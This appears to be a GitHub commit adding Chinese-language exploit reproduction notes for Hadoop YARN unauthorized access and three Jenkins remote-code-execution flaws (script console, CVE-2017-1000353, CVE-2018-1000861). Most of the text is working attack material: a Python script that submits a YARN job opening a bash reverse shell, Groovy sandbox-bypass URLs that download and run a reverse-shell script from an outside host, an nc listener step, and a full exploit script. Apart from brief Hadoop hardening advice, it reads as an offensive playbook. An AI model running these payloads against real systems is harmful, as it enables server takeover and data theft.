Skip to content

Commit 632b58e

Browse files
committed
add Jenkins
1 parent 9dd000c commit 632b58e

File tree

20 files changed

+569
-0
lines changed

20 files changed

+569
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
Hadoop未授权访问
2+
================
3+
4+
一、漏洞简介
5+
------------
6+
7+
> Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce
8+
> 算法进行分布式处理。这个框架被Adobe,Last
9+
> fm,EBay,Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作,用户大概通过如下步骤在hadoop中实现分布式处理:
10+
11+
- 用户创建一个处理键值的map函数
12+
13+
- 产生了一套中间键/值
14+
15+
- reduce函数合并中间值并把他们关联到对应的键
16+
17+
二、影响范围
18+
------------
19+
20+
三、复现过程
21+
------------
22+
23+
#### 1. 扫描探测
24+
25+
##### 1.1 常见端口
26+
27+
![](./resource/Hadoop未授权访问/media/rId26.png)
28+
29+
##### 1.2 敏感端口
30+
31+
模块 节点 默认端口
32+
----------- ------------------------ ----------
33+
HDFS NameNode 50070
34+
HDFS SecondNameNode 50090
35+
HDFS DataNode 50075
36+
HDFS Backup/Checkpoint node 50105
37+
MapReduce JobTracker 50030
38+
MapReduce TaskTracker 50060
39+
40+
通过访问 NameNode WebUI 管理界面的 50070
41+
端口,可以下载任意文件。而且,如果 DataNode 的默认端口 50075
42+
开放,攻击者可以通过 HDSF 提供的 restful API 对 HDFS
43+
存储的数据进行操作。
44+
45+
![](./resource/Hadoop未授权访问/media/rId28.png)
46+
47+
#### 2. 攻击手法
48+
49+
利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST
50+
API 也可以提交任务执行。
51+
52+
利用过程如下:
53+
54+
- 在本地监听等待反弹 shell 连接
55+
56+
- 调用 New Application API 创建 Application
57+
58+
- 调用 Submit Application API 提交
59+
60+
**P牛的攻击脚本**
61+
62+
##!/usr/bin/env python
63+
64+
import requests
65+
66+
target = 'http://127.0.0.1:8088/'
67+
lhost = '192.168.0.1' ## put your local host ip here, and listen at port 9999
68+
69+
url = target + 'ws/v1/cluster/apps/new-application'
70+
resp = requests.post(url)
71+
app_id = resp.json()['application-id']
72+
url = target + 'ws/v1/cluster/apps'
73+
data = {
74+
'application-id': app_id,
75+
'application-name': 'get-shell',
76+
'am-container-spec': {
77+
'commands': {
78+
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
79+
},
80+
},
81+
'application-type': 'YARN',
82+
}
83+
requests.post(url, json=data)
84+
85+
![](./resource/Hadoop未授权访问/media/rId30.png)
86+
87+
#### 3. 防范措施
88+
89+
网络访问控制 使用 安全组防火墙 或本地操作系统防火墙对访问源 IP
90+
进行控制。如果您的 Hadoop 环境仅对内网服务器提供服务,建议不要将 Hadoop
91+
服务所有端口发布到互联网。
92+
93+
启用认证功能 启用 Kerberos 认证功能。
94+
95+
更新补丁 不定期关注 Hadoop 官方发布的最新版本,并及时更新补丁。
Loading
Loading
Loading
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
Jenkins功能未授权访问导致的远程命令执行漏洞
2+
===========================================
3+
4+
一、漏洞简介
5+
------------
6+
7+
Jenkins管理登陆之后,后台"系统管理"功能,有个"脚本命令行的"功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,利用该功能,可以执行系统命令,该功能实际上Jenkins正常的功能,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问,导致该功能会对Jenkins系统服务器产生比较严重的影响和危害。
8+
9+
二、漏洞影响
10+
------------
11+
12+
三、复现过程
13+
------------
14+
15+
找到"系统管理"------"脚本命令行"。
16+
17+
![](./resource/Jenkins功能未授权访问导致的远程命令执行漏洞/media/rId24.png)
18+
19+
![](./resource/Jenkins功能未授权访问导致的远程命令执行漏洞/media/rId25.png)
20+
21+
输入任意的Groovy脚本并在服务器上执行它。对于故障排除和诊断很有用。使用'println'命令查看输出(如果使用System.out,它将输出到服务器的标准输出,很难看到。)示例:
22+
23+
println(Jenkins.instance.pluginManager.plugins)
24+
25+
在脚本命令行中输入下面的语句,即可执行相应的命令:
26+
27+
println "whoami".execute().text
28+
29+
![](./resource/Jenkins功能未授权访问导致的远程命令执行漏洞/media/rId26.png)
30+
31+
println "ifconfig".execute().text
32+
33+
image
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
CVE-2017-1000353)Jenkins-CI 远程代码执行漏洞
2+
===============================================
3+
4+
一、漏洞简介
5+
------------
6+
7+
该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。
8+
9+
二、漏洞影响
10+
------------
11+
12+
所有Jenkins主版本均受到影响(包括\<=2.56版本)所有Jenkins LTS 均受到影响( 包括\<=2.46.1版本)
13+
14+
三、复现过程
15+
------------
16+
17+
### 步骤一、生成序列化字符串
18+
19+
参考<https://github.com/ianxtianxt/CVE-2017-1000353>,首先下载[CVE-2017-1000353-1.1-SNAPSHOT-all.jar](https://github.com/ianxtianxt/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar),这是生成POC的工具。
20+
21+
执行下面命令,生成字节码文件:
22+
23+
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
24+
# jenkins_poc.ser是生成的字节码文件名
25+
# "touch ..."是待执行的任意命令
26+
27+
执行上述代码后,生成jenkins\_poc.ser文件,这就是序列化字符串。
28+
29+
### 步骤二、发送数据包,执行命令
30+
31+
下载[exploit.py](https://github.com/ianxtianxt/CVE-2017-1000353/blob/master/exploit.py),python3执行`python exploit.py http://www.0-sec.org:8080 jenkins_poc.ser`,将刚才生成的字节码文件发送给目标:
32+
33+
![1.jpg](./resource/(CVE-2017-1000353)Jenkins-CI远程代码执行漏洞/media/rId29.jpg)
34+
35+
进入docker,发现`/tmp/success`成功被创建,说明命令执行漏洞利用成功:
36+
37+
![2.jpg](./resource/(CVE-2017-1000353)Jenkins-CI远程代码执行漏洞/media/rId30.jpg)
38+
39+
参考链接
40+
--------
41+
42+
> https://vulhub.org/\#/environments/jenkins/CVE-2017-1000353/
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
CVE-2018-1000861)Jenkins 远程命令执行漏洞
2+
============================================
3+
4+
一、漏洞简介
5+
------------
6+
7+
Jenkins使用Stapler框架开发,其允许用户通过URL
8+
PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
9+
10+
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
11+
12+
二、漏洞影响
13+
------------
14+
15+
Jenkins Version \<= 2.56
16+
17+
Jenkins LTS Version \<= 2.46.1
18+
19+
三、复现过程
20+
------------
21+
22+
#### 漏洞复现:
23+
24+
##### 1.此漏洞是没有回显的,所以我们这里直接反弹shell:
25+
26+
此漏洞的POC(直接GET请求即可):
27+
28+
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}}
29+
30+
##### 2.我们这里采取下载文件的方法来反弹shell
31+
32+
\(1\) 先在我们的服务器上防止一个文本,内容为:
33+
34+
bash -i >& /dev/tcp/172.26.1.156/9999 0>&1
35+
36+
\(2\) 然后我们替换POC中执行命令的部分为下载文件的命令:
37+
38+
curl -o /tmp/1.sh http://172.26.1.156:8080/1.txt
39+
40+
替换后的POC:
41+
42+
http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://172.26.1.156:8080/1.txt%22.execute()}}
43+
44+
\(3\) 给予下载的脚本执行权限:
45+
46+
chmod 777 /tmp/1.sh
47+
48+
替换后的POC:
49+
50+
http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}
51+
52+
\(4\) 然后在我们接收shell的机器上监听之前写的端口:
53+
54+
nc -lvvp 9999
55+
56+
\(5\) 直接bash执行我们下载的脚本
57+
58+
bash /tmp/1.sh
59+
60+
替换后的POC:
61+
62+
http://172.26.1.129:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}
63+
64+
\(6\) 回到我们监听端口的机器:
65+
66+
![U1fa800f6a04448f38d05166dcce9d04cJ.jpg](./resource/(CVE-2018-1000861)Jenkins远程命令执行漏洞/media/rId27.jpg)
67+
68+
可以看到已经成功获取到了shell!
69+
70+
### poc
71+
72+
**useage**
73+
74+
$ curl -s -I http://jenkins/| grep X-Jenkins
75+
X-Jenkins: 2.137
76+
X-Jenkins-Session: 20f72c2e
77+
X-Jenkins-CLI-Port: 50000
78+
X-Jenkins-CLI2-Port: 50000
79+
80+
$ python exp.py http://jenkins/ 'curl orange.tw'
81+
[*] ANONYMOUS_READ disable!
82+
[*] Bypass with CVE-2018-1000861!
83+
[*] Exploit success!(it should be :P)
84+
85+
![Uadc7abd83e45466dbed2f51492676c13j.jpg](./resource/(CVE-2018-1000861)Jenkins远程命令执行漏洞/media/rId29.jpg)
86+
87+
#!/usr/bin/python
88+
# coding: UTF-8
89+
# author: Orange Tsai(@orange_8361)
90+
#
91+
92+
import sys
93+
import requests
94+
from enum import Enum
95+
96+
# remove bad SSL warnings
97+
try:
98+
requests.packages.urllib3.disable_warnings()
99+
except:
100+
pass
101+
102+
103+
endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
104+
105+
class mode(Enum):
106+
ACL_PATCHED = 0
107+
NOT_JENKINS = 1
108+
READ_ENABLE = 2
109+
READ_BYPASS = 3
110+
ENTRY_NOTFOUND = 999
111+
112+
def usage():
113+
print '''
114+
Usage:
115+
python exp.py <url> <cmd>
116+
'''
117+
118+
def _log(msg, fail=False):
119+
nb = '[*]'
120+
if fail:
121+
nb = '[-]'
122+
print '%s %s' % (nb, msg)
123+
124+
def _get(url, params=None):
125+
r = requests.get(url, verify=False, params=params)
126+
return r.status_code, r.content
127+
128+
def _add_bypass(url):
129+
return url + 'securityRealm/user/admin/'
130+
131+
def check(url):
132+
flag, accessible = mode.ACL_PATCHED, False
133+
134+
# check ANONYMOUS_READ
135+
status, content = _get(url)
136+
if status == 200 and 'adjuncts' in content:
137+
flag, accessible = mode.READ_ENABLE, True
138+
_log('ANONYMOUS_READ enable!')
139+
elif status == 403:
140+
_log('ANONYMOUS_READ disable!')
141+
142+
# check ACL bypass, CVE-2018-1000861
143+
status, content = _get(_add_bypass(url))
144+
if status == 200 and 'adjuncts' in content:
145+
flag, accessible = mode.READ_BYPASS, True
146+
else:
147+
flag = mode.NOT_JENKINS
148+
149+
# check entry point, CVE-2019-1003005
150+
if accessible:
151+
if flag is mode.READ_BYPASS:
152+
url = _add_bypass(url)
153+
status, content = _get(url + endpoint)
154+
155+
if status == 404:
156+
flag = mode.ENTRY_NOTFOUND
157+
158+
return flag
159+
160+
def exploit(url, cmd):
161+
payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
162+
params = {
163+
'sandbox': True,
164+
'value': payload
165+
}
166+
167+
status, content = _get(url + endpoint, params)
168+
if status == 200:
169+
_log('Exploit success!(it should be :P)')
170+
elif status == 405:
171+
_log('It seems Jenkins has patched the RCE gadget :(')
172+
else:
173+
_log('Exploit fail with HTTP status [%d]' % status, fail=True)
174+
if 'stack trace' in content:
175+
for _ in content.splitlines():
176+
if _.startswith('Caused:'):
177+
_log(_, fail=True)
178+
179+
if __name__ == '__main__':
180+
if len(sys.argv) != 3:
181+
usage()
182+
exit()
183+
184+
url = sys.argv[1].rstrip('/') + '/'
185+
cmd = sys.argv[2]
186+
187+
flag = check(url)
188+
if flag is mode.ACL_PATCHED:
189+
_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
190+
elif flag is mode.NOT_JENKINS:
191+
_log('Is this Jenkins?', fail=True)
192+
elif flag is mode.READ_ENABLE:
193+
exploit(url, cmd)
194+
elif flag is mode.READ_BYPASS:
195+
_log('Bypass with CVE-2018-1000861!')
196+
exploit(_add_bypass(url), cmd)
197+
else:
198+
_log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

0 commit comments

Comments
 (0)